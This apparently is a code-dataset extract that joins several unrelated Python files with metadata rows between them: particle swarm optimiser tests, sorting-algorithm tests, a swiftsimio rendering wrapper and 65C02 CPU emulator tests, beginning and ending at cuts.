ComprehensiveLearningParticleSwarmOptimizer,
MutatedCenterUnifiedParticleSwarmOptimization
)
from WeOptPy.tests.test_algorithm import (
AlgorithmTestCase,
Sphere
)
class PSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = ParticleSwarmOptimization
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
def test_custom_works_fine(self):
pso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, vMin=-4, vMax=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, pso_custom, Sphere())
def test_custom_works_fine_parallel(self):
pso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, vMin=-4, vMax=4, seed=self.seed)
pso_customc = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, vMin=-4, vMax=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, pso_custom, pso_customc, Sphere())
class PSATestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = ParticleSwarmAlgorithm
def test_algorithm_info(self):
al = ParticleSwarmAlgorithm.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = ParticleSwarmAlgorithm.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
wvcpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, wvcpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
wvcpso_custom = ParticleSwarmAlgorithm(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
wvcpso_customc = ParticleSwarmAlgorithm(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, wvcpso_custom, wvcpso_customc, Sphere())
class OVCPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = OppositionVelocityClampingParticleSwarmOptimization
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
wvcpso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, wvcpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
wvcpso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
wvcpso_customc = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, wvcpso_custom, wvcpso_customc, Sphere())
class CPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = CenterParticleSwarmOptimization
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
cpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, cpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
cpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
cpso_customc = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, cpso_custom, cpso_customc, Sphere())
class MPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = MutatedParticleSwarmOptimization
def test_algorithm_info(self):
al = MutatedParticleSwarmOptimization.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = MutatedParticleSwarmOptimization.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
mpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, mpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
mpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
mpso_customc = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, mpso_custom, mpso_customc, Sphere())
class MCPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = MutatedCenterParticleSwarmOptimization
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
mcpso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, mcpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
mcpso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
mcpso_customc = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, mcpso_custom, mcpso_customc, Sphere())
class MCUPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = MutatedCenterUnifiedParticleSwarmOptimization
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
self.assertFalse(d['min_velocity'](None))
self.assertFalse(d['max_velocity'](None))
self.assertFalse(d['w'](None))
self.assertFalse(d['w'](-.1))
self.assertFalse(d['w'](-10))
self.assertTrue(d['w'](.01))
self.assertTrue(d['w'](10.01))
def test_custom_works_fine(self):
mcupso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, mcupso_custom, Sphere())
def test_custom_works_fine_parallel(self):
mcupso_custom = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
mcupso_customc = self.algo(NP=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, mcupso_custom, mcupso_customc, Sphere())
class CLPSOTestCase(AlgorithmTestCase):
def setUp(self):
AlgorithmTestCase.setUp(self)
self.algo = ComprehensiveLearningParticleSwarmOptimizer
def test_algorithm_info(self):
al = self.algo.algorithm_info()
self.assertIsNotNone(al)
def test_parameter_type(self):
d = self.algo.type_parameters()
self.assertTrue(d['C1'](10))
self.assertTrue(d['C2'](10))
self.assertTrue(d['C1'](0))
self.assertTrue(d['C2'](0))
self.assertFalse(d['C1'](-10))
self.assertFalse(d['C2'](-10))
self.assertTrue(d['max_velocity'](10))
self.assertTrue(d['min_velocity'](10))
self.assertTrue(d['n'](10))
self.assertFalse(d['n'](-10))
self.assertFalse(d['n'](0))
def test_custom_works_fine(self):
clpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run(self, clpso_custom, Sphere())
def test_custom_works_fine_parallel(self):
clpso_custom = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
clpso_customc = self.algo(n=40, C1=2.0, C2=2.0, w=0.7, min_velocity=-4, max_velocity=4, seed=self.seed)
AlgorithmTestCase.test_algorithm_run_parallel(self, clpso_custom, clpso_customc, Sphere())
# vim: tabstop=3 noexpandtab shiftwidth=3 softtabstop=3
| 36.214724
| 119
| 0.720396
| 1,808
| 11,806
| 4.559735
| 0.04646
| 0.049491
| 0.120087
| 0.090733
| 0.852984
| 0.852984
| 0.846676
| 0.846676
| 0.846676
| 0.754488
| 0
| 0.050797
| 0.096222
| 11,806
| 325
| 120
| 36.326154
| 0.721837
| 0.009402
| 0
| 0.792593
| 0
| 0
| 0.039528
| 0
| 0
| 0
| 0
| 0
| 0.503704
| 1
| 0.148148
| false
| 0
| 0.007407
| 0
| 0.185185
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
20909cbfc8dc95bd903519a7fa4bbae627736f78
| 2,626
|
py
|
Python
|
test/test_algs.py
|
LauraGunsalus/example
|
516117fd2b9fb11fc3bed6f18aa3c403c87c56b1
|
[
"Apache-2.0"
] | null | null | null |
test/test_algs.py
|
LauraGunsalus/example
|
516117fd2b9fb11fc3bed6f18aa3c403c87c56b1
|
[
"Apache-2.0"
] | null | null | null |
test/test_algs.py
|
LauraGunsalus/example
|
516117fd2b9fb11fc3bed6f18aa3c403c87c56b1
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
from example import algs
def test_pointless_sort():
# generate random vector of length 10
x = np.random.rand(10)
# check that pointless_sort always returns [1,2,3]
assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3]))
# generate a new random vector of length 10
x = np.random.rand(10)
# check that pointless_sort still returns [1,2,3]
assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3]))
def test_bubblesort():
# Negatives, even
(sortedL, con, asg) = algs.bubblesort(np.array([-2,2,-51,0]))
assert(np.array_equal(sortedL, np.array([-51,-2,0,2])))
# Odd
(sortedL, con, asg) = algs.bubblesort(np.array([-2,2,-51]))
assert(np.array_equal(sortedL, np.array([-51,-2,2])))
# Duplicates
(sortedL, con, asg) = algs.bubblesort(np.array([1,1,1]))
assert(np.array_equal(sortedL, np.array([1,1,1])))
# Empty
(sortedL, con, asg) = algs.bubblesort(np.array([]))
assert(np.array_equal(sortedL, np.array([])))
# Characters
(sortedL, con, asg) = algs.bubblesort(np.array(['a','d','b','c','a']))
assert(np.array_equal(sortedL, np.array(['a','a', 'b','c','d'])))
# Strings
(sortedL, con, asg) = algs.bubblesort(np.array(['cca','aac','aab','aca','aaa']))
assert(np.array_equal(sortedL, np.array(['aaa','aab','aac','aca','cca'])))
# Sorted
(sortedL, con, asg) = algs.bubblesort(np.array([1,2,3]))
assert(np.array_equal(sortedL, np.array([1,2,3])))
# Reverse Sorted
(sortedL, con, asg) = algs.bubblesort(np.array([3,2,1]))
assert(np.array_equal(sortedL, np.array([1,2,3])))
def test_quicksort():
# Negatives, even
(sortedL, con, asg) = algs.quicksort(np.array([-2,2,-51,0]))
assert(np.array_equal(sortedL, np.array([-51,-2,0,2])))
# Odd
(sortedL, con, asg) = algs.quicksort(np.array([-2,2,-51]))
assert(np.array_equal(sortedL, np.array([-51,-2,2])))
# Duplicates
(sortedL, con, asg) = algs.quicksort(np.array([1,1,1]))
assert(np.array_equal(sortedL, np.array([1,1,1])))
# Empty
(sortedL, con, asg) = algs.quicksort(np.array([]))
assert(np.array_equal(sortedL, np.array([])))
# Characters
(sortedL, con, asg) = algs.quicksort(np.array(['a','d','b','c','a']))
assert(np.array_equal(sortedL, np.array(['a','a', 'b','c','d'])))
# Sorted
(sortedL, con, asg) = algs.quicksort(np.array([1,2,3]))
assert(np.array_equal(sortedL, np.array([1,2,3])))
# Reverse Sorted
(sortedL, con, asg) = algs.quicksort(np.array([3,2,1]))
assert(np.array_equal(sortedL, np.array([1,2,3])))
| 32.419753
| 84
| 0.611957
| 409
| 2,626
| 3.867971
| 0.136919
| 0.216814
| 0.139697
| 0.193426
| 0.909608
| 0.909608
| 0.893173
| 0.818584
| 0.753477
| 0.753477
| 0
| 0.042067
| 0.167174
| 2,626
| 80
| 85
| 32.825
| 0.681299
| 0.12262
| 0
| 0.461538
| 1
| 0
| 0.021891
| 0
| 0
| 0
| 0
| 0
| 0.435897
| 1
| 0.076923
| false
| 0
| 0.051282
| 0
| 0.128205
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
20a025366b41171014eaf8a1ebefbf5d2722671f
| 4,171
|
py
|
Python
|
visualisation/swiftsimio_binder.py
|
LBJ-Wade/C-Eagle-analysis
|
d13ffb219834e11baeb5b9d863c6a6eb965ba6ad
|
[
"Unlicense"
] | null | null | null |
visualisation/swiftsimio_binder.py
|
LBJ-Wade/C-Eagle-analysis
|
d13ffb219834e11baeb5b9d863c6a6eb965ba6ad
|
[
"Unlicense"
] | null | null | null |
visualisation/swiftsimio_binder.py
|
LBJ-Wade/C-Eagle-analysis
|
d13ffb219834e11baeb5b9d863c6a6eb965ba6ad
|
[
"Unlicense"
] | null | null | null |
def generate_map(*args, parallel = False):
"""
SWIFTSIMIO WRAPPER
------------------
The key here is that only particles in the domain [0, 1] in x, and [0, 1] in y will be visible in the image.
You may have particles outside of this range; they will not crash the code, and may even contribute to the image
if their smoothing lengths overlap with [0, 1]. You will need to re-scale your data such that it lives within
this range.
out will be a 2D numpy grid of shape [res, res]. You will need to re-scale this back to your original dimensions
to get it in the correct units, and do not forget that it now represents the smoothed quantity per surface area.
================================
@jit(nopython=True, fastmath=True)
def scatter(x: float64, y: float64, m: float32, h: float32, res: int) -> ndarray
Creates a scatter plot of:
+ x: the x-positions of the particles. Must be bounded by [0, 1].
+ y: the y-positions of the particles. Must be bounded by [0, 1].
+ m: the masses (or otherwise weights) of the particles
+ h: the smoothing lengths of the particles
+ res: the number of pixels.
================================
This ignores boundary effects.
Note that explicitly defining the types in this function allows
for a 25-50% performance improvement. In our testing, using numpy
floats and integers is also an improvement over using the numba ones.
:param parallel: (boolean) default = False
Triggers the use of Numba decorators for parallel rendering.
:param kwargs: parse the kwargs used by swiftsimio.visualisation.projection.scatter_parallel
:return: nd array
"""
from swiftsimio.visualisation.projection import scatter, scatter_parallel
print('[ SWIFTSIMIO ]\t ==> Invoking `projection` front-end binding.')
if parallel:
return scatter_parallel(*args)
else:
return scatter(*args)
def generate_volume(*args, parallel = False):
"""
SWIFTSIMIO WRAPPER
------------------
The key here is that only particles in the domain [0, 1] in x, [0, 1] in y and [0, 1] in z will be visible in the image.
You may have particles outside of this range; they will not crash the code, and may even contribute to the image
if their smoothing lengths overlap with [0, 1]. You will need to re-scale your data such that it lives within
this range.
out will be a 3D numpy grid of shape [res, res, res]. You will need to re-scale this back to your original
dimensions to get it in the correct units, and do not forget that it now represents the smoothed quantity per
surface volume.
================================
@jit(nopython=True, fastmath=True)
def scatter(
x: float64, y: float64, z: float64, m: float32, h: float32, res: int
) -> ndarray:
Creates a voxel grid of:
+ x: the x-positions of the particles. Must be bounded by [0, 1].
+ y: the y-positions of the particles. Must be bounded by [0, 1].
+ z: the z-positions of the particles. Must be bounded by [0, 1].
+ m: the masses (or otherwise weights) of the particles
+ h: the smoothing lengths of the particles
+ res: the number of voxels along one axis, i.e. this returns a cube
of res * res * res..
================================
This ignores boundary effects.
Note that explicitly defining the types in this function allows
for a 25-50% performance improvement. In our testing, using numpy
floats and integers is also an improvement over using the numba ones.
:param parallel: (boolean) default = False
Triggers the use of Numba decorators for parallel rendering.
:param kwargs: parse the kwargs used by swiftsimio.visualisation.volume_render.scatter_parallel
:return: nd array
"""
from swiftsimio.visualisation.volume_render import scatter, scatter_parallel
print('[ SWIFTSIMIO ]\t ==> Invoking `volume_render` front-end binding.')
if parallel:
return scatter_parallel(*args)
else:
return scatter(*args)
| 40.495146
| 124
| 0.655958
| 602
| 4,171
| 4.526578
| 0.267442
| 0.008807
| 0.046239
| 0.042202
| 0.922569
| 0.922569
| 0.909725
| 0.909725
| 0.831193
| 0.831193
| 0
| 0.016409
| 0.24023
| 4,171
| 102
| 125
| 40.892157
| 0.843484
| 0.792616
| 0
| 0.571429
| 1
| 0
| 0.205931
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| true
| 0
| 0.142857
| 0
| 0.571429
| 0.142857
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 9
|
20e1d0e38b54a87eb3a4cbe66bbdecca16d19e66
| 33,583
|
py
|
Python
|
py65816/tests/devices/mpu65816_Common_tests_65c02.py
|
tmr4/py65816
|
00d9a378ebd0e27378c8ce9e6611a7fec0020b44
|
[
"BSD-3-Clause"
] | 1
|
2022-02-22T18:04:26.000Z
|
2022-02-22T18:04:26.000Z
|
py65816/tests/devices/mpu65816_Common_tests_65c02.py
|
tmr4/py65816
|
00d9a378ebd0e27378c8ce9e6611a7fec0020b44
|
[
"BSD-3-Clause"
] | null | null | null |
py65816/tests/devices/mpu65816_Common_tests_65c02.py
|
tmr4/py65816
|
00d9a378ebd0e27378c8ce9e6611a7fec0020b44
|
[
"BSD-3-Clause"
] | null | null | null |
# from test_mpu65c02.py, 71 tests
class Common65C02Tests:
"""CMOS 65C02 Tests"""
# Reset
def test_reset_clears_decimal_flag(self):
# W65C02S Datasheet, Apr 14 2009, Table 7-1 Operational Enhancements
# NMOS 6502 decimal flag = indetermine after reset, CMOS 65C02 = 0
mpu = self._make_mpu()
mpu.p = mpu.DECIMAL
mpu.reset()
self.assertEqual(0, mpu.p & mpu.DECIMAL)
# ADC Zero Page, Indirect
def test_adc_bcd_off_zp_ind_carry_clear_in_accumulator_zeroes(self):
mpu = self._make_mpu()
mpu.a = 0x00
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0, mpu.p & mpu.CARRY)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
def test_adc_bcd_off_zp_ind_carry_set_in_accumulator_zero(self):
mpu = self._make_mpu()
mpu.a = 0
mpu.p |= mpu.CARRY
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x01, mpu.a)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY)
def test_adc_bcd_off_zp_ind_carry_clear_in_no_carry_clear_out(self):
mpu = self._make_mpu()
mpu.a = 0x01
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFE
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0xFF, mpu.a)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.CARRY)
self.assertEqual(0, mpu.p & mpu.ZERO)
def test_adc_bcd_off_zp_ind_carry_clear_in_carry_set_out(self):
mpu = self._make_mpu()
mpu.a = 0x02
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x01, mpu.a)
self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
def test_adc_bcd_off_zp_ind_overflow_cleared_no_carry_01_plus_01(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.CARRY)
mpu.a = 0x01
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x01
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(0x02, mpu.a)
self.assertEqual(0, mpu.p & mpu.OVERFLOW)
def test_adc_bcd_off_zp_ind_overflow_cleared_no_carry_01_plus_ff(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.CARRY)
mpu.a = 0x01
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(0x00, mpu.a)
self.assertEqual(0, mpu.p & mpu.OVERFLOW)
def test_adc_bcd_off_zp_ind_overflow_set_no_carry_7f_plus_01(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.CARRY)
mpu.a = 0x7f
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x01
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(0x80, mpu.a)
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
def test_adc_bcd_off_zp_ind_overflow_set_no_carry_80_plus_ff(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.CARRY)
mpu.a = 0x80
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xFF
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(0x7f, mpu.a)
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
def test_adc_bcd_off_zp_ind_overflow_set_on_40_plus_40(self):
mpu = self._make_mpu()
mpu.a = 0x40
# $0000 ADC ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x72, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x40
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(0x80, mpu.a)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW)
self.assertEqual(0, mpu.p & mpu.ZERO)
# AND Zero Page, Indirect
def test_and_zp_ind_all_zeros_setting_zero_flag(self):
mpu = self._make_mpu()
mpu.a = 0xFF
# $0000 AND ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x32, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0x00
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0x00, mpu.a)
self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO)
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
def test_and_zp_ind_zeros_and_ones_setting_negative_flag(self):
mpu = self._make_mpu()
mpu.a = 0xFF
# $0000 AND ($0010)
# $0010 Vector to $ABCD
self._write(mpu.memory, 0x0000, (0x32, 0x10))
self._write(mpu.memory, 0x0010, (0xCD, 0xAB))
mpu.memory[0xABCD] = 0xAA
mpu.step()
self.assertEqual(0x0002, mpu.pc)
self.assertEqual(5, mpu.processorCycles)
self.assertEqual(0xAA, mpu.a)
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(0, mpu.p & mpu.ZERO)
# BIT (Absolute, X-Indexed)
def test_bit_abs_x_copies_bit_7_of_memory_to_n_flag_when_0(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.NEGATIVE)
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0xFF
mpu.a = 0xFF
mpu.step()
self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_copies_bit_7_of_memory_to_n_flag_when_1(self):
mpu = self._make_mpu()
mpu.p |= mpu.NEGATIVE
mpu.x = 0x02
# $0000 BIT $FEEB,X
self._write(mpu.memory, 0x0000, (0x3C, 0xEB, 0xFE))
mpu.memory[0xFEED] = 0x00
mpu.a = 0xFF
mpu.step()
self.assertEqual(0, mpu.p & mpu.NEGATIVE)
self.assertEqual(4, mpu.processorCycles)
self.assertEqual(0x0003, mpu.pc)
def test_bit_abs_x_copies_bit_6_of_memory_to_v_flag_when_0(self):
mpu = self._make_mpu()
mpu.p &= ~(mpu.OVERFLOW)
mpu.x = 0x02
